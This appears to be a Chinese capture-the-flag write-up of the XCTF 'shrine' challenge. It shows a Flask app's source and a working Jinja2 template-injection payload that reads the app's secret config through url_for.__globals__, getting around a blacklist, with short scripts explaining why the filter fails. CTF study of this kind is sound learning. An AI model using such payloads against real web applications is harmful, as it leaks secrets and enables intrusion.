XCTF-Web-高手区-shrine
题目
解题
1、访问目标,发现有一段代码
import flask
import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)
2、根据源码该题可能是flask模板注入漏洞
该代码过滤了括号和config、self关键字
对该模板注入了解不多,直接上payload
payload
http://111.200.241.244:64667/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}
为什么没有过滤呢?看下面的对比就知道了,为了更好地对比,我将括号转空变为转中括号[]
代码1:
# -*- coding: UTF-8 -*-
s="/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}"
s = s.replace('(', '[').replace(')', ']')
blacklist = ['config', 'self']
print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s)
代码2:
# -*- coding: UTF-8 -*-
s="/shrine/{{ url_for.__globals__['current_app'].(config)['FLAG']}}"
s = s.replace('(', '[').replace(')', ']')
blacklist = ['config', 'self']
print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s)
由此可见只要出现单括号或双括号,是不会对config进行过滤的
XCTF-Web-高手区-shrine相关推荐
- XCTF Web 高手区007: NewsCenter
题目: WP: 打开场景看到 search news的字样,只能输入进行操作 预测是一道SQL注入的题目 本题最直接的方法是sqlmap爆一下数据库 然而我对sqlmap的使用并不擅长 大家可以去看看 ...
- 20200109攻防世界WEB高手区题目一题多解全教程通关(13-18)
欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注 目录 013unserialize3 014upload1 015Web_python_tem ...
- XCTF MISC 高手区 2017_Dating_in_Singapore
2017_Dating_in_Singapore 题目给了一串数字和一个日历pdf,联想到这串数字对应日历上的日期,而且数字分为12段,正好对应12个月,所以在日历上将对应的日期连接起来可得flag ...
- XCTF MISC 高手区 Dift
Dift 附件是一张png图片,用foremost分离得到png和一个加密的rar文件,用ARCHPR暴力破解失败. 没有其它可用的信息,压缩包应该是和png图片有关 用010editor打开分离后的 ...
- 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth)WriteUp
文章目录 解题部分 总结: 解题部分 题目来源 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...
- 攻防世界 web高手进阶区 10分题 weiphp
前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...
- 攻防世界-web高手进阶区
文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...
- 攻防世界 web高手进阶区 9分题 favorite_number
前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...
- 攻防世界 web高手进阶区 8分题 Web_python_block_chain
前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...
- 攻防世界 web高手进阶区 9分题 bilibili
前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是bilibili的writeup 解题过程 进来界面 这尼玛出题人是黑还是粉啊 笑死 看题目意思是买lv6 惯例源码+御剑 没发现什 ...
最新文章
- 2015年最新出炉的JavaScript开发框架
- 讲一讲什么是 MMAP
- 关于更清楚地了解.net的垃圾回收机制
- expdp导出表结构_超强技术案例!86万张表迁移的优化历程
- php 批量修改文件,php如何批量修改文件名
- 序列密码体制(python随机数密码,RC4,线性反馈移位寄存器
- 2020牛客国庆集训派对day2 MATRIX MULTIPLICATION CALCULATOR
- AI赋能DevOps:数据驱动的全栈工程师实践
- 重要!VALSE 2021确认参会及第二次【预注册】事宜的通知
- YFI 创始人 Andre Cronje:有四个新产品待发布,但担心在推出后被分叉
- P5018 对称二叉树
- LitePal的使用——Android开源数据库
- DataGear 制作自适应任意屏幕尺寸的数据可视化看板
- 【缓存】缓存更新策略
- 独家丨Web3风向从NFTs吹向DAOs?一季度DAO发展回顾
- python 实现大鱼吃小鱼小游戏(课程作业)
- java通过身份证号码获取出生日期、性别、年龄
- 年中大促,华硕破晓PX574特惠专场,直降400!
- 2012 Tokyo Regional C. One-Dimensional Cellular Automaton 矩阵快速幂
- 关于支付宝的支付流程
热门文章
- 字符和编码之间的转换(Python)
- 第10课:动手实战基于 CNN 的电影推荐系统
- xgboost相比传统gbdt有何不同?xgboost为什么快?xgboost如何支持并行?
- JVM内存参数设置及常见错误总结
- cURL在Web渗透测试中的应用
- linux下安装glibc-2.14,解决“`GLIBC_2.14' not found”问题
- tomcat日志按天切分
- 安装ipython时python setup.py egg_info错误的解决办法
- android 布局滑动中scrollTo 和 scrollBy 方法使用说明
- 7 款顶级开源 BI(商务智能)软件和报表工具